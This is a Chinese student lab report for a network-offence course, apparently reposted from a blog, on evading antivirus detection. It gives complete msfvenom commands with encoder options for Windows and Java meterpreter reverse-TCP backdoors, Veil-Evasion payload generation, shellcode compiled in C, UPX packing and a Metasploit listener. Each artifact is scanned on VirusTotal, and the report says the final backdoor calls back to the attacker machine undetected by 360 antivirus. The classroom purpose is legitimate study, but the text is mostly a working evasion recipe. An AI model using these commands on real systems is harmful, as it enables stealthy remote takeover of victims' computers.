标签:文件夹 style 指令 str led code setup 链接 rev
- 正确使用msf编码器
- msfvenom生成如jar之类的其他文件
- veil
- 加壳工具
- 使用C + shellcode编程
- 使用其他课堂未介绍方法
1.杀软是如何检测出恶意代码的?
2.免杀是做什么的?
通过使用一些技术手段,让安全软件无法检测处理主机中的恶意代码。
3.免杀的基本方法有哪些?
在上次实验中生成了4310srq_backdoor的后门文件,将其放在virustotal.com中进行扫描,结果如下图所示:
可以发现,71款杀软中有58款报出了病毒。毕竟Msfvenom是Metasploit平台下用来编码payloads免杀的工具,以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里,所以被大多数杀软识别出来并不奇怪。
接下来用msf编码器进行一次编码,使用命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.128 LPORT=4310-f exe > srq4310.exe 生成编码过的可执行文件fool4320.exe:
再去virustotal.com中进行扫描:
扫描之后比之前少了1款杀软报毒
进行十次编码尝试:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.128 LPORT=4320 -f exe > met-encoded10.exe
在 virustotal.com中进行扫描:
十次编码之后还是有56款杀毒软件报毒,和一开始编码前相比报毒率几乎没变。
由此可见,无论编码多少次都是一样,效果并不明显,所以想要利用编码次数来达到免杀效果显然是不行的。
使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.131LPORT=4310 x> bd_java_srq.jar 生成文件如下所示:
生成好之后把它放到桌面上的文件夹中,再放到virustotal.com中扫描一下:
相比exe,杀软报毒数量明显减少。
使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.131LPORT=4320 x> 4320.php 生成文件如下所示:
生成好之后放到virustotal.com中扫描一下:
可以看到有34个杀软报毒,和jar格式差不多。
综上所述,用MSF生成这些java格式文件和php格式文件相比exe格式文件对免杀还是有一定的效果。
Veil-Evasion是一个与Metasploit有点类似的软件,可以在kali进行在线安装:sudo apt-get install veil-evasion
使用命令cd /usr/share/veil/config/
进入该文件夹
使用命令vim setup.sh
编辑文件,第260行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git
输入veil
指令,进入如下个界面
成功进入到菜单界面,可以看到当前一共有 41 种 payload 可用.
输入命令use c/meterpreter/rev_tcp.py
进入配置界面:
设置反弹连接IP,命令为:set LHOST 192.168.80.131
,注意此处的IP是虚拟机Kali的IP;
设置端口,命令为:set LPORT 4310
输入generate
生成文件,接着输入你想要playload的名字:veil_s_4310
如上图所示,保存路径为/var/lib/veil/output/compiled/veil_s_4310.exe
在virustotal.com上去扫描了:
可以看到veil做出来的后门程序虽然还是相当多的杀毒软件报毒,但是还是比msf做的后门exe程序免杀性高。
在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.131 LPORT=4310 -f c
得到一个生成的shellcode数组:
新建一个shellcode_4310.c文件,用vim进行编辑,把刚得到的shellcode数组拷贝进去,并增加一个main函数。
使用 i686-w64-mingw32-g++ shellcode4310.c -o 20174310.exe 命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件20174310.exe
把这个文件放到virustotal.com上去扫描:
风险已经降低了,但是仍被定性为病毒文件,所以还可以进一步考虑修改代码。
upx是一种压缩程序,可以实现加壳的功能,可以输入如下命令来完成:
upx #需要加壳的文件名 -o #加壳后的文件名
这里我们将上面用c编程的shellcode生成的后门程序进行加壳,观察免杀性能否提高:
把加壳之后得到的程序放到virustotal.com上进行扫描:
这已经是实验到目前为止免杀效果最好的一种技术了
采用Veil-Evasion的其他荷载生成后门方式
进入evasion,使用list查看可用的有效荷载
根据 payload 编号,这里我选择 29号的 python payload进行实验:
接下来输入指令生成payload,选择一种生成 shellcode 的模板文件,我就选择
选择后开始设置IP地址和端口号:
接下来,要求对文件进行命名后
这个界面要求我们,对生成的 payload 进行可执行性的编译,通过网上查资料,我选择了第2个免杀性更强的编译器。
一切设置好以后,回车一下可以看到,我们需要的后门程序已经生成好了:
拿到virustotal.com上去扫描:
可以看到veil做出来的后门程序免杀性很高。
因为采用Veil-Evasion的其他荷载生成后门方式可以通过查杀,所以我们采用这种方法进行免杀
打开msfconsole进行监听,输入以下指令:
use exploit/multi/handler //监听设置
set payload set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的
payload set LHOST 192.168.80.131 //Linux端的IP地址
set LPORT 4310 //与之前输入的端口号一致
exploit //开始监听
观察到成功回连,杀软没有查杀,通过检测。
杀软使用的是360,版本为11.4.0.2001
实验一次比一次困难,实验二的时候还需要将一些杀软关掉,才能获得主机权限,这次实验就更加实际贴近生活,通过各种各样的方式避开杀软获得主机权限,对实践和知识学习很有帮助。
做了实验才发现,杀软也不是完全能检测出一些软件,平时要注意安全
2019-2020-2 网络对抗技术 20174310 Exp3 免杀原理与实践
标签:文件夹 style 指令 str led code setup 链接 rev
原文地址:https://www.cnblogs.com/srq111/p/12623937.html